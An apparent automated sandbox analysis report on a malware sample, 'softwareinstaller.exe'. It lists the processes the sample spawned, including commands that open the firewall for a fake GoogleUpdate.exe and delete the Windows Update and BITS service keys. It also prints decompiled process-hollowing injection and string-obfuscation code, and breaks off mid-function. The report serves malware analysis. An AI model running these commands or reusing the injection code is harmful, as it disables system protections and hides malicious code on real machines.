Commandline:	netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Imagebase:	0x10f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2816, Parent PID: 4108

General

Target ID:	63
Start time:	06:44:59
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 2596, Parent PID: 5032

General

Target ID:	64
Start time:	06:45:00
Start date:	05/12/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Imagebase:	0x7ff7c6860000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1556, Parent PID: 664

General

Target ID:	65
Start time:	06:45:00
Start date:	05/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 1176, Parent PID: 5032

General

Target ID:	66
Start time:	06:45:01
Start date:	05/12/2022
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Imagebase:	0x7ff7c6860000
File size:	72704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: softwareinstaller.exePID: 1020, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	24.1%
Dynamic/Decrypted Code Coverage:	6.8%
Signature Coverage:	26.8%
Total number of Nodes:	310
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00D371A1 Relevance: 25.0, APIs: 13, Strings: 1, Instructions: 467
memorythreadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 00D37482
GetThreadContext.KERNELBASE(?,00010007), ref: 00D37497
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00D374B8
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 00D374EA
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 00D3750A
VirtualAllocEx.KERNELBASE(?,00000000,?,00003000,00000040), ref: 00D37547
WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000000), ref: 00D3763D
VirtualProtectEx.KERNELBASE(?,?,?,00000002,?), ref: 00D3765A
VirtualProtectEx.KERNELBASE(?,?,?,00000001,?), ref: 00D376C4
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00D376E6
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00D37701
SetThreadContext.KERNELBASE(?,00010007), ref: 00D3771E
ResumeThread.KERNELBASE(?), ref: 00D3772B

Strings

D, xrefs: 00D373DA

Memory Dump Source

Source File: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: Virtual$Process$AllocMemoryThread$ContextProtectWrite$CreateFreeReadResume
String ID: D
API String ID: 2402967479-2746444292
Opcode ID: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction ID: 36677b463f8dd7bfab43b80b9a0fa93648e2ea8d7264aa94b27ee53c335a4599
Opcode Fuzzy Hash: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction Fuzzy Hash: 571218B1D046199BDF25CFA4CC84BEEBBB5FF08704F1484AAE509E6250E7749A85CF24

Uniqueness

Uniqueness Score: -1.00%

Function 00D3115C Relevance: 19.7, APIs: 13, Instructions: 202
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00D311A2
SetUnhandledExceptionFilter.KERNELBASE ref: 00D31223
__p__acmdln.MSVCRT ref: 00D3124C
malloc.MSVCRT ref: 00D312E2
strlen.MSVCRT ref: 00D3131B
malloc.MSVCRT ref: 00D31326
memcpy.MSVCRT ref: 00D3133C
GetStartupInfoA.KERNEL32 ref: 00D31413

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 31d0f8ce407580f43ee5010519c4c107eaea1bfa2a1abb23f45ccd21ec18f9ab
Instruction ID: b49b5cf514a8bdb9d42d31143b410958e404b185ebed0a8b961bd6150e84afbc
Opcode Fuzzy Hash: 31d0f8ce407580f43ee5010519c4c107eaea1bfa2a1abb23f45ccd21ec18f9ab
Instruction Fuzzy Hash: 84815AB9908302CFDB20EFA8D88176ABBE2FB44351F148429D984CB351D7759845CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 00D31150 Relevance: 9.1, APIs: 6, Instructions: 133
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E00D31150(char _a4) {
				void* _v20;
				signed short _v48;
				signed char _v52;
				char _v100;
				intOrPtr _v112;
				void* _v116;
				intOrPtr _v120;
				void* _v136;
				signed int _v140;
				void* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t44;
				_Unknown_base(*)()* _t46;
				signed int* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t54;
				signed int _t57;
				intOrPtr _t59;
				signed int _t61;
				void* _t63;
				signed int _t66;
				signed int _t72;
				signed int _t74;
				void* _t77;
				char* _t80;
				signed int _t83;
				struct _STARTUPINFOA* _t89;
				signed int _t90;
				signed int _t91;
				signed int* _t92;
				signed int _t98;
				signed int* _t101;
				void* _t104;
				signed int _t105;
				signed int _t108;
				signed int _t113;
				signed int _t114;
				void* _t116;
				signed int* _t117;
				intOrPtr* _t136;

				L0:
				while(1) {
					L0:
					_t80 =  &_a4;
					_t114 = _t113 & 0xfffffff0;
					_push( *((intOrPtr*)(_t80 - 4)));
					_t89 =  &_v100;
					_push(_t80);
					memset(_t89, 0, 0x11 << 2);
					_t116 = _t114 - 0x78 + 0xc;
					if( *0xd5d05c != 0) {
						GetStartupInfoA(_t89);
						_t116 = _t116 - 4;
					}
					_t98 =  *( *[fs:0x18] + 4);
					_t104 = Sleep;
					while(1) {
						L5:
						asm("lock cmpxchg [0xd5d0b8], edi");
						if(0 == 0) {
							break;
						}
						L3:
						__eflags = _t98;
						if(_t98 == 0) {
							L37:
							_t72 = 1;
							__eflags =  *0xd5d0bc - 1;
							if( *0xd5d0bc != 1) {
								L7:
								if( *0xd5d0bc == 0) {
									_v140 = 0xd5f014;
									_v144 = 0xd5f00c;
									 *0xd5d0bc = 1;
									L00D366B0();
								} else {
									 *0xd5d008 = 1;
								}
								if( *0xd5d0bc == 1) {
									goto L39;
								} else {
									goto L10;
								}
							} else {
								L38:
								_v144 = 0x1f;
								L00D366A0();
								__eflags =  *0xd5d0bc - 1;
								if( *0xd5d0bc != 1) {
									L10:
									if(_t72 == 0) {
										goto L40;
									}
								} else {
									L39:
									_v140 = 0xd5f008;
									_v144 = 0xd5f000;
									L00D366B0();
									 *0xd5d0bc = 2;
									__eflags = _t72;
									if(_t72 == 0) {
										L40:
										_t32 = _t72;
										_t72 =  *0xd5d0b8;
										 *0xd5d0b8 = _t32;
									}
								}
							}
							L46:
						} else {
							L4:
							Sleep(0x3e8);
							_t116 = _t116 - 4;
							continue;
						}
						L11:
						_t44 =  *0xd5ae30; // 0xd35810
						if(_t44 != 0) {
							_v136 = 0;
							_v140 = 2;
							_v144 = 0;
							 *_t44();
							_t116 = _t116 - 0xc;
						}
						E00D35B00(_t72, _t98, _t104);
						_v144 = E00D35E30; // executed
						_t46 = SetUnhandledExceptionFilter(??); // executed
						_t117 = _t116 - 4;
						 *0xd5d074 = _t46;
						 *_t117 = 0xd31000;
						_t48 = E00D35930(E00D36650());
						 *0xd5d0b4 = 0xd30000;
						L00D36678();
						_t83 = 0;
						_t49 =  *_t48;
						if(_t49 != 0) {
							while(1) {
								L19:
								_t90 =  *_t49 & 0x000000ff;
								__eflags = _t90 - 0x20;
								if(_t90 <= 0x20) {
									goto L15;
								}
								L20:
								__eflags = _t90 - 0x22;
								_t83 =  ==  ? _t83 ^ 0x00000001 : _t83;
								L18:
								_t49 = _t49 + 1;
								__eflags = _t49;
								L19:
								_t90 =  *_t49 & 0x000000ff;
								__eflags = _t90 - 0x20;
								if(_t90 <= 0x20) {
									goto L15;
								}
								L25:
								 *0xd5d0b0 = _t49;
								goto L26;
								L15:
								__eflags = _t90;
								if(_t90 != 0) {
									L16:
									__eflags = _t83 & 0x00000001;
									if((_t83 & 0x00000001) != 0) {
										L17:
										_t83 = 1;
										goto L18;
									}
								}
								L21:
								__eflags = _t90;
								if(_t90 != 0) {
									while(1) {
										L24:
										_t49 = _t49 + 1;
										_t91 =  *_t49 & 0x000000ff;
										__eflags = _t91;
										if(_t91 == 0) {
											goto L25;
										}
										L23:
										__eflags = _t91 - 0x20;
										if(_t91 <= 0x20) {
											continue;
										}
										goto L25;
									}
								}
								goto L25;
							}
						}
						L26:
						if( *0xd5d05c != 0) {
							_t66 = 0xa;
							if((_v52 & 0x00000001) != 0) {
								_t66 = _v48 & 0x0000ffff;
							}
							E00D37000 = _t66;
						}
						_t74 =  *0xd5d01c;
						_t105 = 4 + _t74 * 4;
						 *_t117 = _t105;
						_t50 = malloc(??);
						_t92 =  *0xd5d018;
						_v116 = _t50;
						if(_t74 <= 0) {
							L44:
							_t51 = _v116;
						} else {
							L31:
							_t77 = _t50;
							_t15 = _t105 - 4; // 0x74cb648c
							_t59 = _t15;
							_t101 = _t92;
							_v120 = _t59;
							_v112 = _t59 + _t92;
							do {
								L32:
								_t61 =  *_t101;
								_t77 = _t77 + 4;
								_t101 =  &(_t101[1]);
								 *_t117 = _t61;
								_t18 = strlen(??) + 1; // 0x1
								_t108 = _t18;
								 *_t117 = _t108;
								_t63 = malloc(??);
								 *(_t77 - 4) = _t63;
								_v140 = _t108;
								_v144 =  *((intOrPtr*)(_t101 - 4));
								 *_t117 = _t63;
								memcpy(??, ??, ??);
							} while (_v112 != _t101);
							_t51 = _v120 + _v116;
							_t136 = _t51;
						}
						L34:
						 *_t51 = 0;
						 *0xd5d018 = _v116;
						E00D35790();
						_t54 =  *0xd5d014;
						 *__imp____initenv = _t54;
						_v140 = _t54;
						_v144 =  *0xd5d018;
						 *_t117 =  *0xd5d01c; // executed
						_t57 = E00D34C28(_t136); // executed
						 *0xd5d010 = _t57;
						if( *0xd5d00c == 0) {
							L45:
							 *_t117 = _t57; // executed
							exit(??); // executed
							 *0xd5d05c = 1;
							goto L0;
						}
						L35:
						if( *0xd5d008 == 0) {
							L00D366A8();
							return  *0xd5d010;
						} else {
							return _t57;
						}
						goto L46;
					}
					L6:
					_t72 = 0;
					if( *0xd5d0bc == 1) {
						goto L38;
					} else {
						goto L7;
					}
					goto L11;
				}
			}

0x00d31150
0x00d31150
0x00d31150
0x00d31150
0x00d31154
0x00d31159
0x00d31161
0x00d31167
0x00d31176
0x00d31176
0x00d3117a
0x00d31413
0x00d31419
0x00d31419
0x00d31188
0x00d3118b
0x00d311a7
0x00d311a7
0x00d311a9
0x00d311b3
0x00000000
0x00000000
0x00d31193
0x00d31193
0x00d31195
0x00d313b0
0x00d313b5
0x00d313ba
0x00d313bd
0x00d311c5
0x00d311cc
0x00d31440
0x00d31448
0x00d3144f
0x00d31459
0x00d311d2
0x00d311d2
0x00d311d2
0x00d311e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00d313c3
0x00d313c3
0x00d313c3
0x00d313ca
0x00d313d4
0x00d313d7
0x00d311ea
0x00d311ec
0x00000000
0x00000000
0x00d313dd
0x00d313dd
0x00d313dd
0x00d313e5
0x00d313ec
0x00d313f1
0x00d313fb
0x00d313fd
0x00d31403
0x00d31403
0x00d31403
0x00d31403
0x00d31403
0x00d313fd
0x00d313d7
0x00000000
0x00d3119b
0x00d3119b
0x00d311a2
0x00d311a4
0x00000000
0x00d311a4
0x00d311f2
0x00d311f2
0x00d311f9
0x00d311fb
0x00d31203
0x00d3120b
0x00d31212
0x00d31214
0x00d31214
0x00d31217
0x00d3121c
0x00d31223
0x00d31229
0x00d3122c
0x00d31231
0x00d3123d
0x00d31242
0x00d3124c
0x00d31251
0x00d31253
0x00d31257
0x00d31271
0x00d31271
0x00d31271
0x00d31274
0x00d31277
0x00000000
0x00000000
0x00d31279
0x00d3127e
0x00d31281
0x00d3126e
0x00d3126e
0x00d3126e
0x00d31271
0x00d31271
0x00d31274
0x00d31277
0x00000000
0x00000000
0x00d312af
0x00d312af
0x00000000
0x00d31260
0x00d31260
0x00d31262
0x00d31264
0x00d31264
0x00d31267
0x00d31269
0x00d31269
0x00000000
0x00d31269
0x00d31267
0x00d31290
0x00d31290
0x00d31292
0x00d312a5
0x00d312a5
0x00d312a5
0x00d312a8
0x00d312ab
0x00d312ad
0x00000000
0x00000000
0x00d312a0
0x00d312a0
0x00d312a3
0x00000000
0x00000000
0x00000000
0x00d312a3
0x00d312a5
0x00000000
0x00d31292
0x00d31271
0x00d312b4
0x00d312bc
0x00d312be
0x00d312c7
0x00d312c9
0x00d312c9
0x00d312cd
0x00d312cd
0x00d312d2
0x00d312d8
0x00d312df
0x00d312e2
0x00d312e7
0x00d312ed
0x00d312f2
0x00d31463
0x00d31463
0x00d312f8
0x00d312f8
0x00d312f8
0x00d312fa
0x00d312fa
0x00d312fd
0x00d312ff
0x00d31304
0x00d31310
0x00d31310
0x00d31310
0x00d31312
0x00d31315
0x00d31318
0x00d31320
0x00d31320
0x00d31323
0x00d31326
0x00d3132b
0x00d31331
0x00d31335
0x00d31339
0x00d3133c
0x00d31341
0x00d31349
0x00d31349
0x00d31349
0x00d3134c
0x00d3134c
0x00d31355
0x00d3135a
0x00d3135f
0x00d3136a
0x00d3136c
0x00d31375
0x00d3137e
0x00d31381
0x00d3138c
0x00d31393
0x00d3146b
0x00d3146b
0x00d3146e
0x00d31480
0x00000000
0x00d31480
0x00d31399
0x00d313a1
0x00d31421
0x00d31436
0x00d313a3
0x00d313ae
0x00d313ae
0x00000000
0x00d313a1
0x00d311b5
0x00d311ba
0x00d311bf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00d311bf

APIs

Sleep.KERNEL32 ref: 00D311A2
SetUnhandledExceptionFilter.KERNELBASE ref: 00D31223
__p__acmdln.MSVCRT ref: 00D3124C
malloc.MSVCRT ref: 00D312E2
strlen.MSVCRT ref: 00D3131B
malloc.MSVCRT ref: 00D31326
memcpy.MSVCRT ref: 00D3133C
GetStartupInfoA.KERNEL32 ref: 00D31413

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: e09c8c80b48152822a2df64bf98451123b8fff46fcd07aedfd06292c45ac6006
Instruction ID: c8bf86b6704d28c3266494271d61fc70e3adf452780d3791d1de3e25fd50b560
Opcode Fuzzy Hash: e09c8c80b48152822a2df64bf98451123b8fff46fcd07aedfd06292c45ac6006
Instruction Fuzzy Hash: C05158B5A047019FDB20EFA8E88165ABBF2FB44311F14852DE944CB351E770E945CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D33F28 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 140
memoryCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E00D33F28(intOrPtr _a4, intOrPtr _a8) {
				signed int _v16;
				signed int _v20;
				struct HINSTANCE__* _v24;
				signed int _v25;
				signed int _v26;
				intOrPtr _v30;
				intOrPtr _v33;
				intOrPtr _v37;
				char _v41;
				char _v42;
				intOrPtr _v46;
				intOrPtr _v50;
				char _v54;
				char _v60;
				char* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _t186;

				_v41 = 0x2ccbac04;
				_v37 = 0xa4cf2fcb;
				_v33 = 0x634f310c;
				_v30 = 0xcb6e4363;
				_v16 = 0;
				while(_v16 <= 0xe) {
					_v26 = ( &_v41)[_v16] & 0x000000ff;
					_v26 = (_v26 & 0x000000ff) << 0x00000003 | (_v26 & 0x000000ff) >> 0x00000005;
					_v26 = _v26 - _v16;
					_v26 =  ~_v26;
					_v26 = _v26 + _v16;
					_v26 =  !_v26;
					_v26 = _v26 ^ 0x000000c0;
					_v26 = _v26 + _v16;
					_v26 = _v26 ^ _v16;
					_v26 =  ~_v26;
					_v26 = _v26 + _v16;
					_v26 = _v26 ^ 0x000000f8;
					_v26 =  !_v26;
					_v26 = _v26 ^ 0x000000d4;
					_v26 = (_v26 & 0x000000ff) << 0x00000007 | (_v26 & 0x000000ff) >> 0x00000001;
					_v26 = _v26 ^ 0x0000002f;
					( &_v41)[_v16] = _v26 & 0x000000ff;
					_v16 = _v16 + 1;
				}
				_v54 = 0x45bba953;
				_v50 = 0x77af8c74;
				_v46 = 0x1fe4bb36;
				_v42 = 0xfb;
				_v20 = 0;
				while(_v20 <= 0xc) {
					_v25 = ( &_v54)[_v20] & 0x000000ff;
					_v25 = _v25 - _v20;
					_v25 = (_v25 & 0x000000ff) << 0x00000002 | (_v25 & 0x000000ff) >> 0x00000006;
					_v25 = _v25 - 0x12;
					_v25 =  ~_v25;
					_v25 = _v25 ^ _v20;
					_v25 =  ~_v25;
					_v25 = (_v25 & 0x000000ff) << 0x00000006 | (_v25 & 0x000000ff) >> 0x00000002;
					_v25 =  !_v25;
					_v25 = _v25 + 0x45;
					_v25 = _v25 ^ _v20;
					_v25 = _v25 - _v20;
					_v25 = _v25 ^ _v20;
					_v25 = _v25 + 0x15;
					_v25 = (_v25 & 0x000000ff) << 0x00000006 | (_v25 & 0x000000ff) >> 0x00000002;
					_v25 = _v25 - 0x77;
					( &_v54)[_v20] = _v25 & 0x000000ff;
					_v20 = _v20 + 1;
				}
				_v24 = GetModuleHandleA( &_v54);
				_v60 = 0;
				 *0xd5d03c = GetProcAddress(_v24,  &_v41);
				_v76 =  &_v60;
				_v80 = 0x40;
				_v84 = _a8;
				 *((intOrPtr*)(_t186 - 0xfffffffffffffffc)) = _a4; // executed
				VirtualProtect(??, ??, ??, ??); // executed
				return 0;
			}

0x00d33f2e
0x00d33f35
0x00d33f3c
0x00d33f43
0x00d33f4a
0x00d33fd9
0x00d33f61
0x00d33f76
0x00d33f7c
0x00d33f7f
0x00d33f85
0x00d33f88
0x00d33f8b
0x00d33f92
0x00d33f98
0x00d33f9b
0x00d33fa1
0x00d33fa4
0x00d33fa8
0x00d33fab
0x00d33fc0
0x00d33fc3
0x00d33fd3
0x00d33fd5
0x00d33fd5
0x00d33fe3
0x00d33fea
0x00d33ff1
0x00d33ff8
0x00d33ffc
0x00d3409e
0x00d34013
0x00d34019
0x00d3402e
0x00d34031
0x00d34035
0x00d3403b
0x00d3403e
0x00d34053
0x00d34056
0x00d34059
0x00d34060
0x00d34066
0x00d3406c
0x00d3406f
0x00d34085
0x00d34088
0x00d34098
0x00d3409a
0x00d3409a
0x00d340b8
0x00d340bb
0x00d340d9
0x00d340e6
0x00d340ea
0x00d340f5
0x00d340fc
0x00d340ff
0x00d3410f

APIs

VirtualProtect.KERNELBASE ref: 00D340FF

Strings

@, xrefs: 00D340EA
/, xrefs: 00D33FC3
w, xrefs: 00D34088

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: /$@$w
API String ID: 544645111-3857776472
Opcode ID: af8e395ef5eaf30de3e295abdd08115cc6feabf9ea0f9b4baf44bbf5f34c51cf
Instruction ID: 2ba076a1cc01bfb7df40591893ced710cc5cef3730f2c144622ed2804a7c682e
Opcode Fuzzy Hash: af8e395ef5eaf30de3e295abdd08115cc6feabf9ea0f9b4baf44bbf5f34c51cf
Instruction Fuzzy Hash: ED611070E092DE8EDF11CBEDC4456EFFFF2AF46240F084599D4A0A6253D2789609CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00D31299 Relevance: 5.1, APIs: 4, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00D312E2
strlen.MSVCRT ref: 00D3131B
malloc.MSVCRT ref: 00D31326
memcpy.MSVCRT ref: 00D3133C

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 60ad9aa766de1ed139f4d8d159216acc548ef9e5faa2e6297beaefec063dde07
Instruction ID: 8109d6e0bdada79e7c5da7a9630e44a167cc06a33a6be438dd6647836cc03efd
Opcode Fuzzy Hash: 60ad9aa766de1ed139f4d8d159216acc548ef9e5faa2e6297beaefec063dde07
Instruction Fuzzy Hash: 713147B9A047069FDB20DFA8D881259B7F2FB48311F148529DD44D7351E730A946CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D31289 Relevance: 5.1, APIs: 4, Instructions: 75
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00D312E2
strlen.MSVCRT ref: 00D3131B
malloc.MSVCRT ref: 00D31326
memcpy.MSVCRT ref: 00D3133C

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 7db33ea880f34a737c20becc309a0c6a54474cf50860c62a9f3fde78241b9e32
Instruction ID: d75087a8ddc835ca468cea8c528bd0a61db72df351113729102fee981b47f4b9
Opcode Fuzzy Hash: 7db33ea880f34a737c20becc309a0c6a54474cf50860c62a9f3fde78241b9e32
Instruction Fuzzy Hash: E63116B9A04706DFDB20DFA8E881659B7F2FB48311F148529D944D7351E730A946CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D34C28 Relevance: 2.3, APIs: 1, Instructions: 803
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00D34C28(void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t272;
				signed int _t274;
				signed int _t276;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				signed int _t288;
				signed int _t290;
				signed int _t292;
				signed int _t294;
				signed int _t296;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				signed int _t304;
				signed int _t306;
				signed int _t308;
				signed int _t310;
				signed int _t312;
				signed int _t314;
				signed int _t316;
				signed int _t318;
				signed int _t320;
				signed int _t322;
				signed int _t324;
				signed int _t326;
